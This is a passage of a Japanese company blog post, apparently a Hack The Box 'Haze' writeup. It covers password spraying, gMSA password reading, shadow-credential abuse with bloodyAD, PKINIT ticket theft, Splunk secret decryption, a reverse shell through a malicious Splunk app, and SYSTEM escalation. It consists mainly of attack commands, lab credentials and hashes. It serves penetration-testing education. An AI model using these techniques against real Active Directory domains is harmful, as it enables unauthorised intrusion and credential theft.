SMB         10.129.232.50   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

しかし、 WinRM や RDP などによるログオンは許可されていませんでした。

$ netexec winrm haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM       10.129.232.50   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

ドメインユーザpaul.taylor で SMB のファイル共有や AD オブジェクトなどを列挙・分析した中で、パスワードスプレー攻撃のためドメインユーザの一覧を作成しました。

NT AUTHORITY
HAZE-IT-BACKUP$
PAUL.TAYLOR
mark.adams
edward.martin

これらのユーザへ対し、先ほど入手したパスワード (Ld@p_Auth_Sp1unk@2k24) でのパスワードスプレー攻撃を実行しました。すると、mark.adamsで同じパスワードにより認証が成功しました。

$ netexec smb haze.htb -u usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.232.50   445    DC01             [-] haze.htb\NT AUTHORITY:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.232.50   445    DC01             [-] haze.htb\HAZE-IT-BACKUP$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.232.50   445    DC01             [+] haze.htb\PAUL.TAYLOR:Ld@p_Auth_Sp1unk@2k24
SMB         10.129.232.50   445    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
SMB         10.129.232.50   445    DC01             [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE

更に、mark.adams は WinRM でのログオンが許可されていました。

$ netexec winrm haze.htb -u usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
WINRM       10.129.232.50   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\NT AUTHORITY:Ld@p_Auth_Sp1unk@2k24
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\HAZE-IT-BACKUP$:Ld@p_Auth_Sp1unk@2k24
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\PAUL.TAYLOR:Ld@p_Auth_Sp1unk@2k24
WINRM       10.129.232.50   5985   DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24

これにより、ターゲットへ一般ユーザとしてログオンできました。

$ evil-winrm -i haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24  
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mark.adams\Documents> 

lateral movement (1)

mark.adamsgMSA_Managers というグループのメンバであることが分かります。

gMSA とは group Managed Service Account の略であり、Microsoft が提供する機能の一つです (Link)。gMSA に関する詳細な説明は省略しますが、gMSA_Managers というグループの名前から、gMSA により管理されているサービスアカウントのパスワードを読み取る権限を有していそうです。しかし、gMSA によって管理されたサービスアカウントのパスワードを読み取るツールを実行したところ、サービスアカウントが存在することは分かるものの、パスワードを入手できませんでした。

$ netexec ldap haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
LDAP        10.129.232.50   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS       10.129.232.50   636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS       10.129.232.50   636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.232.50   636    DC01             Account: Haze-IT-Backup$      NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: Domain Admins

gMSA_Managers が有する権限を改めて調べたところ、サービスアカウントであるHaze-IT-Backup$ のプロパティms-DS-GroupMSAMembership への書き込み権限を有していることが分かりました。ms-DS-GroupMSAMembership プロパティとは、そのアカウントの gMSA パスワードを取得するアクセス許可を設定するためのプロパティです。

つまり、ms-DS-GroupMSAMembership プロパティへmark.adamsを設定することで、mark.adamsHaze-IT-Backup$ の gMSA パスワードを読み取れるようになります。

Set-ADServiceAccount を実行する前後のGet-ADServiceAccount の実行結果のPrincipalsAllowedToRetrieveManagedPassword の値を比べると、mark.adamsが追加されていることが分かります。

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity 'Haze-IT-Backup$' -Properties PrincipalsAllowedToRetrieveManagedPassword


DistinguishedName                          : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled                                    : True
Name                                       : Haze-IT-Backup
ObjectClass                                : msDS-GroupManagedServiceAccount
ObjectGUID                                 : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Domain Admins,CN=Users,DC=haze,DC=htb}
SamAccountName                             : Haze-IT-Backup$
SID                                        : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName                          :

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Set-ADServiceAccount -Identity 'Haze-IT-Backup$' -PrincipalsAllowedToRetrieveManagedPassword mark.adams
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity 'Haze-IT-Backup$' -Properties PrincipalsAllowedToRetrieveManagedPassword


DistinguishedName                          : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled                                    : True
Name                                       : Haze-IT-Backup
ObjectClass                                : msDS-GroupManagedServiceAccount
ObjectGUID                                 : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Mark Adams,CN=Users,DC=haze,DC=htb}
SamAccountName                             : Haze-IT-Backup$
SID                                        : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName                          :

これにより、Haze-IT-Backup$ の gMSA パスワードを入手でき、加えて認証が成功しました。

$ netexec ldap haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
LDAP        10.129.232.50   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS       10.129.232.50   636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS       10.129.232.50   636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.232.50   636    DC01             Account: Haze-IT-Backup$      NTLM: 4de830d1d58c14e241aff55f82ecdba1     PrincipalsAllowedToReadPassword: mark.adams
$ netexec smb haze.htb -u 'Haze-IT-Backup$' -H 4de830d1d58c14e241aff55f82ecdba1
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.232.50   445    DC01             [+] haze.htb\HAZE-IT-Backup$:4de830d1d58c14e241aff55f82ecdba1 

lateral movement (2)

新たに侵害したHaze-IT-Backup$ で探索すると、

  • Haze-IT-Backup$Support_ServicesグループへのWriteOwner権限を有していること
  • Support_Servicesグループがedward.martinへのForceChangePassword権限とAddKeyCredentialLink権限を有していること

が分かりました。

つまり、

  • グループへのWriteOwner権限を利用し、グループのOwnerを侵害済みのユーザへ変更、メンバを追加する
  • 追加したメンバにより、Edward.Martinのパスワードを変更する (ForceChangePassword権限)、またはEdward.MartinmsDS-KeyCredentialLink プロパティを書き換える (AddKeyCredentialLink権限)

という手順を実行することで、edward.martin を侵害できます。

実行した攻撃の手順を紹介します。

1. Support_Services グループのOwnerHaze-IT-Backup$へ変更

$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' set owner 'Support_Services' 'Haze-IT-Backup$'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by Haze-IT-Backup$ on Support_Services

2. Haze-IT-Backup$ からSupport_Services グループへのGenericAll権限を付与

$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add groupMember 'Support_Services' 'Haze-IT-Backup$'
[+] Haze-IT-Backup$ added to Support_Services

3. Haze-IT-Backup$Support_Services グループのメンバへ追加

$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add groupMember 'Support_Services' 'Haze-IT-Backup$'
[+] Haze-IT-Backup$ added to Support_Services

4. edward.martinmsDS-KeyCredentialLink プロパティを書き換え、任意の証明書を登録

$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add shadowCredentials 'edward.martin'
[+] KeyCredential generated with following sha256 of RSA key: 195344e62f0326c19fc731e3c73fd06c0d7818e2e7551affd4ded31b1ea3a8d7
No outfile path was provided. The certificate(s) will be stored with the filename: 98Ql14M3
[+] Saved PEM certificate at path: 98Ql14M3_cert.pem
[+] Saved PEM private key at path: 98Ql14M3_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem 98Ql14M3_cert.pem -key-pem 98Ql14M3_priv.pem haze.htb/edward.martin 98Ql14M3.ccache

5. 登録した証明書でedward.matrinとして認証し、TGT を取得

$ faketime -f +8.0h python3 ~/Resource/pen-testing/PKINITtools/gettgtpkinit.py -cert-pem 98Ql14M3_cert.pem -key-pem 98Ql14M3_priv.pem haze.htb/edward.martin 98Ql14M3.ccache
2025-06-06 01:39:15,403 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-06-06 01:39:15,412 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-06-06 01:39:24,328 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-06-06 01:39:24,328 minikerberos INFO     66d1a3a4ef0c6860c1d10ec3a0aa3b107f281085297a7c5d35066f2b056a79a7
INFO:minikerberos:66d1a3a4ef0c6860c1d10ec3a0aa3b107f281085297a7c5d35066f2b056a79a7
2025-06-06 01:39:24,330 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

コマンドの冒頭のfaketimeについて、ローカルのマシンのシステム時刻を偽装することで、ターゲットのマシンとの時刻の差分を解消し、Kerberos 認証を成立させるために必要です。

取得した TGT を使用し、edward.martinとしての WinRM によるログオンが成功しました。

$ export KRB5CCNAME=98Ql14M3.ccache
$ faketime -f '+8.0h' evil-winrm -r haze.htb -u edward.martin -i dc01.haze.htb

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: User is not needed for Kerberos auth. Ticket will be used

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents>

lateral movement (3)

edward.martinBackup_Reviewers というグループのメンバであることから、C:\\Backups へアクセスできる可能性があります。

C:\\Backups へアクセスしたところ、Splunk のバックアップが保存されていました。

*Evil-WinRM* PS C:\Users\edward.martin\Documents> ls C:\Backups\Splunk


    Directory: C:\Backups\Splunk


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          8/6/2024   3:22 PM       27445566 splunk_backup_2024-08-06.zip

splunk_backup_2024-08-06.zip を調査すると、authentication.confが存在し、初期に侵害したときとは異なるユーザのパスワードハッシュが記録されていました。

[default]

minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0


[Haze LDAP Auth]

SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP

同様に、GitHubGitHub - HurricaneLabs/splunksecrets: splunksecrets is a too…​ によりハッシュを復元でき、Sp1unkadmin@2k24を入手しました。

$ splunksecrets-edit.py 'CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B' '$1$YDz8WfhoCWmf6aTRkA+QqUI='
Sp1unkadmin@2k24

bindDNCN=alexander.green であるため、alexander.greenのパスワードだと推測しましたが、ログインが失敗しました。

$ netexec smb dc01.haze.htb -u alexander.green -p 'Sp1unkadmin@2k24'
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.232.50   445    DC01             [-] haze.htb\alexander.green:Sp1unkadmin@2k24 STATUS_LOGON_FAILURE 

しかし、alexander.greenSplunk_Adminsグループのメンバであることから、Spllunk へのログインが許可されたユーザだと推測しました。

そこで、Splunk のログインページである http://haze.htb:8000/ で、パスワードをSp1unkadmin@2k24 として、一般的なユーザ名でパスワードスプレー攻撃を実行すると、adminでのログインが成功しました。

Splunk には、ユーザが機能を拡張・カスタマイズできる「アプリ (App)」という機能が存在します。

この機能を利用して、任意のコマンドを実行できるかを調査したところ、https://github.com/0xjpuff/reverse_shell_splunk というリポジトリを発見しました。

このリポジトリのREADMEに従って作成した .spl ファイルを Apps > Manage Apps から install app from file からアップロードします。

ファイルをアップロードした直後、reverse shell を確立できました。

$ nc -nlvp 4444                            
listening on [any] 4444 ...
connect to [10.10.17.158] from (UNKNOWN) [10.129.232.50] 51871
PS C:\Windows\system32> whoami
haze\alexander.green

privilege escalation

alexander.greenの権限を確認すると、SeImpersonatePrivilege権限が付与されていました。この権限は非常に強力で、あるプロセスが他のユーザへ偽装できるようになります。つまり、SYSTEM権限へ昇格することが可能です。

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

今回、Metasploitのgetsystem コマンドによりSYSTEM権限へ昇格できました。

meterpreter > getuid
Server username: HAZE\alexander.green
meterpreter > getsystem 
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM権限へ昇格できたため、このマシンを攻略できました。

appendix

Haze-IT-Backup$からEdward.Martinを侵害するとき、ForceChangePassword権限とAddKeyCredentialLink権限のうちAddKeyCredentialLink権限を利用しました。

ForceChangePassword権限について、他のツールでEdward.Martinへ対する権限を確認すると、ACCESS_DENIED_OBJECT_ACEが明示的に設定されていました。

ObjectDN                    : CN=Edward Martin,CN=Users,DC=haze,DC=htb
ObjectSID                   : S-1-5-21-323145914-28650650-2368316563-1105
ACEType                     : ACCESS_DENIED_OBJECT_ACE
ACEFlags                    : CONTAINER_INHERIT_ACE
AccessMask                  : ControlAccess
ObjectAceFlags              : ACE_OBJECT_TYPE_PRESENT
ObjectAceType               : User-Force-Change-Password
InheritanceType             : None
SecurityIdentifier          : HAZE\Support_Services

実際に、Edward.Martinのパスワードのリセットを実行しても失敗します。

PV ❯ Set-DomainUserPassword -Identity edward.martin -AccountPassword P@ssw0rd
[2025-06-10 07:09:57] [Set-DomainUserPassword] Principal CN=Edward Martin,CN=Users,DC=haze,DC=htb found in domain
[2025-06-10 07:10:04] LDAPInsufficientAccessRightsResult - 50 - insufficientAccessRights - None - 00000005: SecErr: DSID-031A11EF, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0 - modifyResponse - None

おわりに

以上、Hack the Box Machines Haze の writeup を紹介しました。

Splunk の脆弱性から始まり、Active Directory で横展開しつつ、最後に Splunk の管理者を利用する、という面白いマシンでした。Active Directoryでの横展開では、gMSA へ対する権限の一部が削除されていることや、一部のオブジェクトにおけるプロパティの読み取りが拒否されていること、パスワードリセットの権限が拒否されていることなど、問題としての妨害が工夫されていました。今後も取り組み続け、RedTeamサービスの業務へ活かしていきます。

最後に、弊社では RedTeam コンサルタントを募集しています。

本ブログを読んで興味を持っていただけた方は、ぜひご検討ください。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。